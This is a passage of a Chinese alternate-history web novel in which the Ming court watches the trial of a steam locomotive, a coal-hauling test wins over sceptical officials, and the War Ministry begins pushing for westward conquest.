在这之前的两个月,海瑞和杨盛斋等人就把第一辆火车做了出来。 铁路竣工的时候,一道道奏疏送到了内阁之中。 朝堂之上,无数官员为嘉靖歌功颂德。 “陛下真乃圣主仁君,这三条铁路修建了一年,这一年时间,这三条线路附近的百姓,生活富足。” 韩玠首先说道。 “是啊陛下,如今的大明,四海升平,就连那些流民,也都有活干,每家过的很好,大明如今的版图,已经可以比肩盛唐了,陛下真乃雄主也。” 孙娇娇的爹孙弘也跟着说道。 随后一个个官员纷纷出列,为嘉靖歌功颂德,即便是最能喷的六科,此时也挑不出嘉靖的毛病来。 要说嘉靖大兴土木吧,但如今大明的国库充足,修建铁路虽然花费巨大,但于国库而言,还没到伤筋动骨的地步,甚至只占国库很小的一部分。 而修建铁路带来的好处,所有人都看到了,特别是这一年来,这三条铁路附近的百姓生活富足,经济一片繁荣,已经形成了良性循环,所有人都清楚,即便铁路修建完了,以后这些地区的经济流转也只会越来越好。 更何况一旦火车开始正式运行,铁路沿途的站点将会变成资源富集地区,围绕当地会发展起来很多行业,让当地的经济变得更加繁荣。 “陛下,火车两个月之前就已经造出来了,如今铁路已经竣工,海瑞和盛斋他们想让火车试行,倘若没问题的话,就可以大力造火车了。” 等朝堂上的官员恭维的差不多了,周楚出列道。 嘉靖听到这话,顿时来了精神,火车做出来的消息他自然是知道的,现在铁路既然竣工了,自然可以试行了。 “既如此,三日之后,或者试行,到时候文武百官都要到场,这对大明至关重要。” 嘉靖说道。 此言一出,百官又是一阵拍马屁。 火车头怎么弄到铁轨上去,这是个不小的问题。 不过这难不倒海瑞和杨盛斋等人,他们让南镇抚司的工匠做了一个极大的平板车,平板车的两侧装了无数个轮子,轮子还都很宽。 “大人,装这么多轮子有什么用?” 南镇抚司的工匠完全看不懂海瑞等人的操作,只能一味地往车上装车轮。 “车路越多,与地面的接触面积就越大,地面承受的压强就越低。” 海瑞一板一眼的解释道。 “你这么说他们听不懂。” 杨盛斋看着海瑞这副书呆子的模样,有些无语道。 “车轮少了的话,火车太重,车轮会陷阱地路,就走不动了。” 杨盛斋看着装车轮的工匠解释道。 听到杨盛斋这话,这些工匠顿时恍然。 “这个我知道,那些运送重物的马车的车轮要比一般的马车车轮宽不少。” 其中一个工匠说道。 整个平板车很大,但平板车离地面却很近,这些车轮都是直径十寸左右,但车轮和地面接触的面却是很宽的。 整个平板车是长方形的,毕竟要装的是火车,平板车被装了两排车轮。 到了如何将火车装上平板车的时候,工匠们倒是轻车熟路,之前他们干过类似的活,海瑞还有杨盛斋他们为这些工匠做了不少滑轮组,有了这些滑轮组的帮助,将火车头装上平板车倒也没那么困难了。 三天的时间眨眼而过,火车已经被海瑞和杨盛斋等人放到了铁轨在京城的初始站。 这条铁路是通往江南的,此时的站台附近,文武百官纷纷看向眼前的钢铁巨物,后面那些看不到的官员,也都踮起了脚尖,想要一睹传说中火车的风采。 “陛下,臣愿意坐在火车上,为大明试行。” 周楚对最前排的嘉靖行礼道。 “会不会太危险了?毕竟是试行,万一出了问题....” 嘉靖看着周楚笃定的模样,欲言又止道。 “陛下不必担心,这火车的车轮已经卡在了铁轨上,即便运行出了问题,也不会有什么太大的危险,更何况臣自幼习武,真要是有什么突发状况,臣也可以应付。” 周楚言之凿凿道。 眼看周楚说的这么笃定,嘉靖也清楚,这件事注定是一件彪炳史册的事,嘉靖都想亲自上去,甚至之前也提出过,被百官强烈反对,这才作罢。 毕竟皇帝的安危大过一切。 “那你一定要小心,让沈炼和张大柱也跟着你上去吧,护你安危。” 嘉靖还是有些不放心道。 一旁的沈炼和大柱听到这话,急忙领命。 实际上上火车的不只是周楚三人,还有海瑞和杨盛斋等人,他们好不容易将火车造了出来,自然不会错过火车的试行。 一想到自己会因为此事被记入史册,海瑞等人都极为兴奋。 整个火车头上,甚至连烧锅炉的工人都没有,海瑞等人坚持由他们自己来烧锅炉。 随着一铲铲煤炭被丢入锅炉之中,锅炉之中的温度愈发火热,伴随着一声惊天的鸣笛之声,火车上方喷出了一道道蒸汽。尛說Φ紋網 听到这声巨响,即便是心里早有准备,嘉靖还是心中一惊,更不用说一点准备都没有的文武百官了,有些胆子小点的,被吓的一屁股坐在了地上。 很快,那些传送装置开始运转,火车的车轮还是缓缓前行。 “这速度未免太慢了些。” 工部的一个官员忍不住说道。 因为周楚,这次修建铁路这么大的工程,工部基本上没捞到太多油水,反而干的活最多,所以如今的工部官员对周楚这个锦衣卫指挥使意见很大。 “急什么?这才刚开始。” 杨一清听到这话,瞪了此人一眼。 火车可是他孙子参与的项目,杨一清听不得任何不好的话。 此人看到杨一清这么说,顿时缩了缩脑袋,内阁首辅可不是他招惹得起的。 第346章 火车的运输能力,震惊的百官,杨盛斋的谢师礼 杨一清的话音没落多久,火车的速度开始一点一点增加,虽然增加的很慢,但所有人都能看出来,眼前的这个钢铁怪物在加速。 随着一声声汽笛声不断响起,火车的速度也越来越快,很快就消失在了众人的视野之中。 火车消失在众人视野之前,所有人都看到了火车的速度虽然远比不上马车的速度,但也不算很慢。 嘉靖带着百官就在站台上这么等着,等了足足半个多时辰,火车再次出现在众人的视线之中。 中间周楚等人开着火车到了下一个站点,直接变道,便直接调转方向返回了。 要知道当初铁路的图纸是周楚画的,如果说火车的很多地方周楚拿不准的话,铁路的图纸周楚却是画的极为精准的,如何变轨都画的清清楚楚。 “陛下,火车试行成功了。” 周楚下了火车,神情振奋道。 火车的成功意味着大明将要进入下一个阶段了,这不只是对大明有着跨时代的意义,对整个华夏,甚至整个世界,都将是划时代的。 “这火车的速度能达到多少?” 嘉靖也很是振奋,看着周楚问道。 “回陛下的话,这火车空车行驶最高速度大概是一个时辰八十里左右,倘若是后面接上车厢,装满货物的话,速度在一个时辰三十里左右,当然,这还要看接了多少接车厢,接的车厢越多,速度就相对越慢一些,不过总体是超过每个时辰二十里的。” 周楚如实回答道。 这个问题很容易算,海瑞和杨盛斋等人刚才在火车上已经算明白了。 听到这话,嘉靖和文武百官顿时一片哗然。 如今陆路运送货物的最多的就是马车和驴车,马车比驴车更快一些,只坐人的马车会比火车空车快一些,每个时辰速度大概在一百里到一百四十里之间,这要看马的品种和耐久度。 倘若是拉满货物的,速度则会大打折扣,每个时辰的速度只有二十到三十里之间。 眼前的火车,就单看这个体积,嘉靖就知道其运力远不是马车可以比拟的。 “倘若这火车头后面接上十节车厢,这十节车厢装满煤炭,能装多少斤?” 嘉靖继续问道。 听到这话,周楚在心中默算了一下,不过论算术,周楚不如如今的海瑞和杨盛斋,毕竟这两人现在专精此道,周楚看了两人一眼,杨盛斋顿时会意,直接上前。 “回陛下的话,倘若是十节车厢的话,根据我等设计的车厢的大小,大概一百多万斤,不过如今火车刚做出来,拉动十节满载的车厢尚且有些费劲,四节应该差不多,四节的话,能拉动五十万斤左右。” 单论数学和物理上的天赋,杨盛斋是要超过海瑞的,海瑞虽然天赋也很不错,但他更难得的是坚持和执着,所以整个科研队伍,周楚让海瑞领头,杨盛斋充当海瑞的副手。 面对皇帝,海瑞和其他人内心还是有些发怵的,脑子都不怎么运转了,倒是杨盛斋,身为杨一清的孙子,自小就是见惯了大场面的,此时面对嘉靖,虽然也有些紧张,却也不会像海瑞他们那般。 听到这话,不只是嘉靖,就连嘉靖身后的一众官员都不可思议的看着周楚等人。 “周大人,不是下官质疑您,实在是这个数字太过匪夷所思了,要知道单匹马的马车载重极限一般在一千斤左右,当然,好的马可以拉的更多一些,但您这个火车的运力,居然是单匹马马车的五百倍?” 礼部的一个官员满脸不信的看着周楚等人道。 “这种事又做不了假,火车车厢本官已经让南镇抚司的工匠加急制作了,要不了几日,诸位一观便知,而且这火车不过是刚制造出来,动力有限,以后动力只会越来越好,像陛下说的一个火车头拉动十节满载车厢也不是不可能。” 周楚看着此人,说道。 周楚说这话的时候,是留有余地的,蒸汽机时代的火车运力确实是有限的,速度也相对很慢,只有等到内燃机面世的时候,火车的运载能力和速度才会大幅度提高。 此时的大明距离内燃机面世还需要很多年,别的不说,单单是石油的开采技术和提炼技术,大明现在就完全不具备。 人力有时尽,即便是周楚,也不是什么都会,这些事情,周楚只能指明一个大致的方向,内燃机面世,最起码也得几十年。 不过现如今的蒸汽机倒是可以继续改进,加大动力。 “如此甚好,这样吧,朕给你三日,三日之后,朕和文武百官还是在此处,观看你这四节车厢装满能不能跑得起来。” 嘉靖看着周楚道。 “臣一定尽心尽力。” 周楚领命道。 “好,朕相信你。” 嘉靖笑道。 实际上火车的车厢南镇抚司早就做出来了,毕竟火车头早在两个月前就制造出来了,这段时间,海瑞等人让南镇抚司制作火车车厢。 如果说火车头还需要试行才能决定要不要再制造第二辆第三辆,那么车厢则完全没有这种忧虑,车厢都是标准的款式,只要火车头没问题,车厢是不会出问题的。 只是到了火车头和车厢如何连接的时候,海瑞和杨盛斋犯了难。 当初刚造出来火车头的时候,海瑞和杨盛斋没少因为此事找周楚求教,对于火车对接的车钩,周楚知道詹式车钩,这种车钩设计的极为精巧,但具体图纸,周楚是不清楚的,只能大致的向海瑞等人描述了詹式车钩的一些原理,实际上描述的也很不准确。 但这对海瑞等人已经足够了,他们需要的就是一个灵感,只要有了方向,两个月的时间,足够他们将车钩制造出来了。 嘉靖其实也知道南镇抚司早就把车厢造出来了,否则也不会只给三日,三日的时间造出车厢根本不可能,钢铁的熔炼成型,都需要时间。 这些话,不过是说给文武百官们听的罢了。 很快,所有人都各自回家了。 杨一清回家的路上,将杨盛斋提溜回去了。 “爷爷,我还要去南镇抚司,制造车厢呢。” 杨盛斋有些不满道。 “还想骗你爷爷?你小子越来越滑头了,当老夫不知道?南镇抚司早就把车厢造好了,你忘了前几日带我去过南镇抚司?” 杨一清看着自己的孙子,调侃道。 杨盛斋听到这话,表情一窒,不禁有些后悔带自己的爷爷去南镇抚司了。 火车车厢不是小物件,不可能放在房间里,自然瞒不过杨一清的眼睛。 “爷爷有什么吩咐?要是无事的话,孙儿就要回南镇抚司了。” 杨盛斋有些无奈道。 “当然有事,你的老师周衡器如今将你培育成才,还让你参与火车的制造这样关乎国本的重大事物,小子,你可知道,今日你和你老师一起乘坐火车,将来史书上会浓墨重彩的记载你们师徒几人。” 杨一清看着自己的孙子,越看越满意,反倒是转头看向自己的儿子杨质庵,是越看越不满意。 一旁的杨质庵此时也只能装死,即便是他这个当爹的不愿意承认,也不得不承认,如今自己的这个小儿子要比自己这个当爹的有出息得多。 杨盛斋听到这话,顿时一脸兴奋。 “那是,老师说过,蒸汽机和火车的面世,不只是对大明,还是对整个世界重大的变革,火车只是开始,以后大明将会开启工业时代,老师将会成为史书上大书特书的存在。” 杨盛斋越说越兴奋。 一旁的杨一清虽然听的云山雾罩的,完全听不明白自己的孙子在说什么,但他听懂了一句话,火车只是开始,大明即将迎来重大的变革。 而他杨一清的小孙子,赶上了这辆快车。 一想到这里,杨一清就愈发兴奋,他甚至看到了未来,自己孙子要比自己有出息的多。 自己的这一生,都在宦海浮沉了,全都研究如何和人争斗了,要说对大明有什么特别大的贡献,杨一清还真不敢拍着胸脯说。 自己的这个孙子,将来当官可能拍马不及自己,但在另一条道路上,却是做出了自己的成绩,对大明的贡献,恐怕要远超过自己。 杨一清甚至能预见到未来的史书上,自己还要沾自己这个孙子的光,后世之人提起自己,恐怕多半说此人是杨盛斋的爷爷,大明嘉靖初年的内阁首辅。 他们杨家一门双杰,恐怕会被传为千古佳话。 “你跟着你老师学了这么久了,也是时候去你老师那里谢师了,否则他人该说我杨府不知礼节了。” 杨一清看着杨盛斋,满脸郑重道。 杨盛斋听到这话,再也没了不耐烦的表情,神情变得极为认真。 “爷爷说的是,是孙儿考虑不周,早就应该去谢师了。” 杨盛斋点头道。 “老夫已经让人去周府递了帖子,也让下人准备了谢师礼,且等周府回帖,爷爷就带着你登门谢师。” 杨一清欣慰道。 “你这个当爹的也要跟着去,不能失了礼节。” 杨一清瞪了一眼旁边的杨质庵,说道。 杨质庵听到这话,满心委屈,心说我啥时候说不去了吗?不过这话也就想想,他是万万不敢忤逆自己这个首辅爹的。 谢师礼又被称为束脩之礼,是学生对老师表达感激之情的一种传统礼仪。 谢师礼一般分为六样,分别是肉干、芹菜、龙眼干、莲子、红枣和红豆。 肉干象征谢恩师,表示对老师努力教学付出的感谢,芹菜代表着业精于勤荒于嬉,是督促学生努力奋进的。 龙眼干象征着启窍生智,希望老师能启迪学生,让学生将来有所成就,莲子则代表着苦心教学,感恩老师辛苦的。 红枣寓意着早已高中,虽说以杨盛斋的情况,日后未必会参加科举,不过礼节都是有定数的,也不好随意加减。 红豆则象征着大展宏图,是对学生以后能一展胸中抱负的祝福。 谢师礼虽然都不是什么贵重的礼物,但这个礼节却是能实实在在的体现出学生对老师的感恩之情,作为内阁首辅,杨一清自然不会让自己的孙子少了这个礼节。 很快,周府的回帖就送到了,回帖给出的时间是明日一早,杨一清在拜帖上说了,此次登门拜访是要谢师,周楚自然要给他们另择一日,以示郑重。小說中文網 第二日一早,天才刚亮,杨一清、杨质庵和杨盛斋三代人都坐上了马车前往周府,马车上则是早已准备好的谢师礼。 “首辅大人,何必如此郑重。” 周楚看到杨家三人到来,客气道。 “应该的,自古以来,谢师礼都是不可少的,老夫这个孙子老夫是清楚的,自小顽劣不堪,原本老夫还担忧他未来的前途,没想到周夫子将他引上正路,如今更是让他参与这等重大的事物,老夫日日念及于此,都是夜不能寐,不知该如何感谢夫子。” 杨一清对周楚的称呼很有讲究,不是周大人,而是周夫子,这代表着在这个场合,周楚暂时只有一个身份,那就是杨盛斋的老师。 “盛斋本身就对格物学极具天赋,在下只不过是稍加引导罢了,论不得功。” 周楚摆了摆手道。 在周楚的视角之中,也确实是如此,周楚对物理和数学不算多么精通,也只是教了海瑞和杨盛斋等人一些基础的东西,更多的东西则是他们互相讨论,一起研究出来的。 更何况最近两年,周楚都在西藏,更谈不上对杨盛斋的教学了。 但杨一清可不这么认为,杨一清很清楚,千里马常有,伯乐不常有,倘若不是周楚,自己的这个孙子纵然对格物学再有天赋,也走不到现有的道路上,最终不过是泯然众人罢了。 所以杨一清对周楚的感激是实实在在的。 “夫子此言差矣,正所谓千里马常有,而伯乐不常有,无数千里马,正是因为没有识得他们的伯乐,骈死于槽枥之间,实在令人可悲可叹,倘若没有夫子,在下这个逆子绝不会走上如今的道路。” 杨质庵虽然上不及自己的老子,下不及自己的儿子,但再怎么说也是个读书人,言语之间自然不是一般人可比。 杨一清看着自己儿子说的这番话,满意地点了点头,虽说自己的这个儿子没什么太大的成就,却也不曾为自己惹什么祸,而且平日里待人接物,从未出过错,这一点杨一清对他还是很满意的。 “两位谬赞,快请进吧,在下让人准备了酒宴。” 周楚笑道。 第347章 火车的恐怖运力,激动的兵部尚书 时间过的很快,两天时间转瞬即逝,很快就到了周楚和嘉靖以及满朝文武约定好的第三日。 这一日朝会刚结束,嘉靖就带着文武百官来到了上次的火车站站台上。 相较于三天前,此时的站台已经准备好了无数座椅,为的就是方便嘉靖和文武百官观看。 嘉靖也不客气,直接坐在了最前面的椅子上面。 “衡器,开始吧。” 嘉靖看着周楚道。 “是,陛下。” 周楚行礼之后,看向了西方的铁路两侧,此时的火车后面已经接上了四节车厢,不过车厢却是空的,车厢两旁堆满了煤炭,还有无数早已准备好的锦衣卫,不过这些锦衣卫并不是平日里的打扮,而是穿的短衫,显然是来干活的。 “称重,装车!” 周楚高声道。 称重的环节是必不可少的,既然昨日杨盛斋说出了具体的数字,有人质疑,就要当着百官的面称重装车,如此才能让这些人彻底闭嘴。 于是一箱箱煤炭被装到木头箱子之中,然后用那种很大的秤杆开始称重,称重之后倒入车厢之中,旁边有人负责详细记录下来每一箱煤炭的重量,最后相加之后再去皮。 木箱子的重量便是皮,这种不可能每个木头箱子都去称,基本大差不差的取个平均值,比如每个木头箱子八斤。 木头箱子相对较重,八斤这个数字还算合理。 站台上的嘉靖和百官们看着下方一直忙碌的锦衣卫们,有些关系好的官员则低头接耳。 “这火车真的能拉动五十万斤的煤炭?这不是天方夜谭吗?” 工部的一个官员和同僚低声说道。 “谁说不是呢,咱们这位周大人还做这副姿态,称重有什么用?这四节车厢是能装五十万斤左右煤炭,但这是重点吗?能不能拉动跑起来,才是关键。” 旁边的另一个工部官员满脸不屑道。 “就是,要我说,咱们的这位指挥使大人,就是太年轻了,太想当然,这种事想想都不可能做到,五十万斤,要用马车拉的话,得要五六百辆马车,他这一个火车,也没多大,怎么可能拉得动。” 工部的其他官员纷纷加入了讨论之中,刚开始声音还小些,后来讨论的人多了,声音也就逐渐大了。 实际上,不只是工部的这些官员对火车的运输量有所质疑,其他官员多半也都不怎么信。 就连原本很是笃定的杨一清,亲眼看着这么多煤炭被一箱箱倒入车厢之中的时候,心里也开始打起了鼓。 刚开始杨一清对五十万斤还没什么太大的概念,现在亲眼看着这堆积如山的煤炭从地面上被装入车厢之中,杨一清看着前面的火车头,如果是三日之前,杨一清还会觉得这火车头是个巨物,但此时和那四节车厢的煤炭相比,这火车头多少显得有些娇小无力。 就连嘉靖也是越看心里越没底。 “衡器,你确定这真的能拉得动吗?” 和其他人的窃窃私语不同,嘉靖直接看向了一旁的周楚,问道。 “陛下,这个问题让海瑞和盛斋他们来回答吧。” 周楚看向了身旁的海瑞和杨盛斋说道。 三日前,海瑞第一次见这么大的阵仗,确实很紧张,不过现在已经没了第一次见皇帝的紧张感,听到这话,急忙行礼。 “回禀陛下,煤炭的重量只会增加车轮和铁轨之间的摩擦力,但老师设计的铁轨和车轮极为精妙,哪怕这么多煤炭,增加的摩擦力也没有大到火车拉不动的地步。” 海瑞说了一堆专业术语,嘉靖和身后的文武百官都听的一头雾水。 “陛下,海瑞的意思是,煤炭的重量和火车的拉力并不是画等号的,就像马车拉货物,马拉空车也能拉得动,拉一千斤的货物也能走,倘若把一千斤的货物放在地面上,类似一匹马也拉不动,但马车的轮胎大大的降低了这个难度,老师设计的这个铁轨和火车轮子,比马车的轮子和地面要精妙无数倍,其中需要的拉力也会极大的降低。” 杨盛斋在一旁补充道。 听到这话,嘉靖顿时恍然,杨盛斋这话嘉靖算是听明白了,不只是嘉靖听明白了,他身后的那些官员也都听明白了。 “可是就算再精妙,再怎么降低,这也是五十万斤,难道这火车的拉力抵得上几百匹马?” 嘉靖看了看身后那些欲言又止的官员,知道他们心中在想些什么,这话算是替他们问的。 “回陛下的话,无需比得上几百匹马,马需要吃草料,而且耐久度有限,想要拉动马车,需要持续发力,而且路面情况要比铁轨复杂无数倍,马车也很难做到保持一个速度,火车不一样,一旦达到了一个固定的速度之后,保持这个速度所需要的动力就很小了。” 杨盛斋继续解释道。 “陛下,这火车的拉力确实比得上几百匹马。” 周楚说道。 此言一出,不只是嘉靖,那些官员全都炸锅了。 “周大人可不要妄言,妄言可是欺君!” 礼部的一个官员高声道。 “本官自然不会妄言,倘若没有几百匹马的拉力,又如何拉得动这四节满载的车厢?盛斋说的没错,达到一定速速之后,需要的拉力很小了,但在这之前,特别是刚启动的时候,需要的拉力是极大的,没有几百匹马的拉力,是完全做不到的。” 周楚笃定道。 “周大人说话要慎重啊,倘若拉不动,该当如何?” 夏言看着周楚,阴恻恻道。 “倘若拉不动,陛下可治臣欺君之罪,倘若拉得动,夏大人该当如何?” 周楚看着夏言,冷笑道。 夏言听到这话,顿时噎住了,他对火车一窍不通,但他懂人性,他看周楚如此笃定,还有周楚身后的海瑞和杨盛斋都是自信满满。 夏言为官多年,最懂得看人,特别是海瑞这种人,是不会说谎的。 “这样吧,我也不为难夏大人,听说夏大人身子骨不太行,特别是那方面,本官正好认识一个大夫,对房中之术颇有研究,倘若能拉得动,跑得起来,夏大人就让那个大夫帮忙好好调理一下你的身子,如何?” 周楚看着夏言道。 虽说夏言的存在能确保周楚更安全,但这不代表周楚会喜欢夏言的存在,相反,周楚每次看到夏言,都有些膈应,倒不如趁着这个机会,好好整治一番。 夏言听到这话,脸都绿了,他想都不用想,周楚口中的那个大夫,绝不会是什么好大夫,自己的身子骨本身可能没什么问题,但经过此人调理之后,还真不好说。 “是啊公谨,你这身子骨确实不太好,衡器也是一番好意,朕做主,就这么定了。” 嘉靖甚至没给夏言拒绝的机会,直接拍板道。 夏言听到这话,悔的恨不得给自己两巴掌,自己现在身子骨不要太好,这么一折腾,以后什么样,还真不好说。 关键是此时夏言已经没机会拒绝了。 “夏阁老,你看周大人多大的度量,以德报怨,哪像你,处处和周大人做对。” 杨一清在一旁忍不住调侃道。 “是啊夏阁老,你这身子骨确实需要好好调理一番了,不然嫂夫人该有意见了。”Www.XSZWω8.ΝΕt 一旁的杨慎忍不住跟着调侃道。 夏言听着两人你一言我一语的调侃,脸都憋红了,却想不出任何反驳的话来。 特别是杨慎,平日里那么刻板严肃的一个人,此时居然也能说出这种话来。 “杨用修啊杨用修,平日里看你这么一本正经的,今日怎么也这般不像话了?” 夏言不敢反驳杨一清,杨一清不论是年纪资历还是官职,都在夏言之上,而且杨一清已经年过七十,正所谓从心所欲不逾矩的年纪,想说什么便说什么,他还真指责不了。 憋了半天,夏言只能瞪了杨慎一眼。 “夏阁老此言差矣,人都有七情六欲,本官又不是那等无情之人,不过是平日里严肃了些,但私下却不是这般。” 杨慎笑道。 杨慎自从认清自己的内心之后,这些年性格转变了不少,以前的杨慎因为拧巴,所以刻板,但现在完全不同了。 旁边的官员听到这话,也都是哈哈一笑,众人谈笑之间,四节车厢已经装满了煤炭。 “陛下,随时可以启动。” 周楚行礼道。 “那就开始吧。” 嘉靖说道。 周楚听到这话,带着海瑞和沈炼等人上了火车头。 到了火车上以后,海瑞等人开始轻车熟路地点火,随后不断地往锅炉之中加炭,沈炼和大柱上前去帮忙了,经过了上一趟,两人已经确认了火车上没什么危险,倒也不会像第一次那般紧张了。 很快,随着一声汽鸣声响起,连在火车车轮上的传动轴开始缓慢却有力的转动了起来。 火车的汽笛声一声接着一声响起,火车的车轮开始动了起来。 刚开始动的极慢,比第一次要慢很多。 但火车的车轮却在不断地加速,加速的过程虽然缓慢,速度却是在不停地增加。 眼看着火车居然真的把这四节车厢的煤炭拉动了,所有的官员都站了起来,想要亲眼看着这等盛况,生怕错过了。 只有夏言,满脸的难受。 很快,火车的速度达到了目前能达到的最高速度,虽然这个速度看上去仍然很慢,但已经比一般人走路的速度要快一些了。 一般装满货物的马车也就这个速度了。 但马车最多只能装一千斤左右,这四节车厢的煤炭虽然称重结果还没上报,但明眼人都能大致算出来,四五十万斤是没跑的。 一想到这里,所有人都忍不住倒吸了一口凉气。 火车的出现,将意味着大明的运力大幅度提升,特别是修往大同的那条铁路,可不只是修往大同的,草原上还在持续不断地修建,草原上的部分,则由各个藩王府承建,毕竟那些藩王在草原上可都是有羊毛生意的。 但文武百官们看到的可不只是这些,有了铁路和火车,意味着以后往草原上运送粮草,消耗将是极小的,这是一件极其恐怖的事。 要知道在这之前,每有大战,很多军队号称几十万大军,但这几十万之中,可能只有一二十万甚至更少的战斗部队,更多的则是后勤部队,后勤部队数量极其庞大,所消耗的粮草也是极其恐怖的,粮草从京城出发,运送一千斤,能有两百斤抵达前线,已经算是不错了,剩下的大多数都被后勤部队消耗了。 但火车的出现,意味着以后的粮草运输,根本不需要多少人数,所消耗的粮草几乎可以忽略不计,只需要燃烧煤炭即可。 以往无论是汉朝,亦或是盛唐,之所以不继续往西扩张版图,就是因为补给线,现在补给线的问题彻底解决了。 “陛下,以后我大明的补给线再也不会消耗如此巨量的粮草了,乌海以西,也可征战了。” 兵部尚书王宪站了出来,神情激动道。 身为兵部尚书,没谁比他更了解补给线的重要性了,历朝历代的版图扩张都是有极限的,就是因为补给线达不到更远的地方。 当补给线达到一定长度的时候,光是后勤人员的消耗就能把所有的粮草消耗干净,根本送不到前线了。 但火车的出现,彻底解决了这个问题。 “是啊陛下,火车运送粮草,再无任何消耗,所需的不过是煤炭罢了,如此一来,我大明可以继续往西打,铁路通到什么地方,大明就能打到什么地方,我大明的版图将超过所有朝代,远超汉唐。” 兵部侍郎此时也是满脸激动,说道。 不只是他们俩,实际上所有的兵部官员,此时都很激动,他们都很清楚,火车的出现意味着什么,意味着大明版图的扩张再无上限,意味着他们这一任的兵部官员,可能都会跟着名留史册。 “朕方才听你们可不是这么说的,你们方才不都在说周衡器太年轻,太想当然了吗?” 嘉靖方才就听到了这些人的话,当时的嘉靖选择忍耐,就是为了这一刻的爆发。 嘉靖说这话的语气,不可谓不严厉,因为嘉靖就是要替周楚出一口。 嘉靖此话一出,文武百官都噤若寒蝉,纷纷站了起来。 “陛下,臣等知罪!” 一众官员纷纷行礼道。 第348章 狂热的兵部官员,嘉靖:容朕考虑考虑 “陛下,火车的运输能力完全没有问题,甚至这四节车厢应该还不是极限,不过为了稳妥起见,目前一个火车头拉四节车厢是比较好的。” 返程之后,周楚向嘉靖行礼道。 随后周楚给了那个负责记录的称重数量的锦衣卫一个眼神,那锦衣卫急忙将自己记录的册子恭敬地呈了上来。 “陛下,这是这些煤炭的总重量,请陛下御览。” 周楚说着将册子递了上去。 嘉靖打开册子,大致看了一下,里面详细记录了每一箱煤炭的重量,以及最后核算出来的煤炭的总重量,总重量略微超出五十万斤多一些。 虽然心中早有预料,但看到这个册子,嘉靖心中仍然很高兴。 “传下去,每个人都看看,工部和户部的不是都很擅长数术吗?算一算这数目可有不对?” 嘉靖说这话的时候声音很高,这话也是故意说给身后的百官们听的。 黄锦听到这话,恭敬地从嘉靖手中接过册子,随后递给嘉靖身后的杨一清,杨一清看了看册子,越看越高兴。 “还不止五十万斤,有了这火车,我大明何处打不到?” 杨一清这话的声音也很大,不过他的目的和嘉靖不一样,他是为了自己的孙子感到嘚瑟。 杨一清说完这话,将手中的册子递给了旁边的杨慎,杨慎满脸笑容地看了一眼就递给了夏言。 “夏阁老,好好看看吧,别忘了之前和衡器的赌约。” 杨慎调侃道。 夏言听到这话,脸都绿了,旁边的人看到他这副表情,都是一副想笑不敢笑的表情。 大家都是千年的狐狸,谁不知道夏言身体不好是装的,他才四十多岁,身体好的不得了,现在好了,和指挥使周楚打赌输了,以后身体好不好,还真不好说。 “陛下,火车的运力可不止五十万斤。” 周楚看着嘉靖,说道。 “哦?此话怎讲?” 嘉靖一听这话,更加精神了。 “这只是一辆火车,实际上以这个站台为例,快的话,一刻钟就可以发一辆火车,慢点的话,两刻钟也可以发一辆,如此一来,每天从这个车站发出的火车最少也有四五十辆,甚至紧急需要的话,还可以另加,以五十辆而言,还是满载的煤炭,一天的运载量就是两千多万斤,这还只是这一条铁路。” 周楚说道。 此言一出,嘉靖身后顿时如同炸了锅一般,此时听到周楚这番话,所有人都意识到了火车和铁路将会对大明带来怎么样恐怖的变革。 别的不说,恐怕扬州那些盐帮是活不下去了,有了火车之后,再运盐,哪里还用得着船,要知道盐帮运盐,沿途消耗并不小,而且盐帮盘踞扬州,大有不听朝廷号令之势。 虽然几年前,因为周楚遇刺的问题,云瑾给了扬州盐帮重创,但这两三年的时间,其实已经恢复的差不多了。 毕竟盐帮的帮主谁做都行,他代表的不过是一个利益集团罢了。 别的不说,单单是这条修往江南的铁路,当初在设计路线的时候,就考虑到了这点,所以完全可以承担运盐的功能。 一想到这里,很多官员都变了脸色。 他们和盐帮之间,有着不小的利益往来,单单是盐帮每年孝敬他们的钱,就不是一个小数目。 周楚此举,无异于断了他们的财路。 正所谓断刃财路,如同杀人父母。 有不少人看着周楚的眼神,已经不是那么友善了。 对于这些人的眼神,周楚多少能感觉到一些,虽然不清楚是谁,但周楚清楚,这是在所难免的。 任何一个王朝,一旦到了中期,所有的利益集团已经形成,那么掌管这些利益集团的人最希望的就是保持现状,任何一个想要打破现有局面的人,就会成为他们共同的敌人。 周楚显然就是这个人。 倘若是王朝初期,所有人都锐意进取的话,反而不会存在这种问题。 比如原本的历史上,张居正死后,他的所有改革都遭到了清算,又比如大明的士绅集团一起联合起来,强烈要求海禁,他们不清楚开海之后,大明将会在海上无敌吗? 他们太清楚了,但海禁之时,他们是既得利益集团,自然不会希望其他人加入。 现如今火车的出现,更是直接断了那些和盐帮有所勾结的官员的根。 这让他们如何能容忍的了? 周楚很清楚,这还只是开始,毕竟随着蒸汽机和火车的问世,大明会进入大踏步的改革之中,甚至慢慢进入工业革命之中。 如此一来,周楚甚至可能得罪整个天下所有的士绅集团。 这才是周楚一直以来如此悲观的原因。 “陛下,臣恳请陛下下旨,征讨乌海以西!” 兵部尚书王宪神情激动道。 兵部和其他官员不同,他们此时满脑子想着的都是让大明的版图扩张到前所未有的地步,如此一来,他们这些兵部的官员都可以跟着名垂青史。 名垂青史啊。 仅仅是简简单单的四个字,却足以让所有人上头。 特别是王宪,此时的王宪已经六十三了,他很清楚自己当这个兵部尚书,当不了两年了,倘若不趁着自己还是兵部尚书的时候,为大明打下一片大大的疆土,他王宪会追悔莫及。 “可如今的大明已经打到了乌海,乌海以西应该是叶尔羌汗国,再往西就是哈萨克汗国和乌兹别克汗国,还有其他一些小国家,大明自古就是礼仪之邦,岂能兴无名之师?” 嘉靖满脸为难道。 虽然嘉靖嘴上这么说,但从他对乌海以西的各国了如指掌的程度而言,显然嘉靖对西域各国,甚至中亚各国,早已起了心思。 毕竟大明彻底征服乌海地区已经三年多了,征服西藏也已经一年多了,这一年多,大明一直没有对外用兵,兵部的这些官员早已按耐不住了,多次上疏,让嘉靖收复安南以西的南越各国。 但如今的南越各国都是大明的藩属国,自从大明彻底收复安南之后,这些小国一个个都被吓破了胆,年年进贡,甚至有些国家为了自保,一年恨不得多次进贡,而且进贡的东西也和之前完全不一样了,全都是值钱的玩意。 特别是嘉靖喜爱龙涎香的消息传出去之后,这些小国的国王更是挖空了心思搜集龙涎香。 这让嘉靖实在没了攻打他们的理由,毕竟人家原本就是大明的藩属国。 “陛下,臣愿出使西域,定让我大明师出有名!” 兵部的一个五品官直接出列道。 有了之前欧阳必进的先例,大家自然知道该如何让大明师出有名。 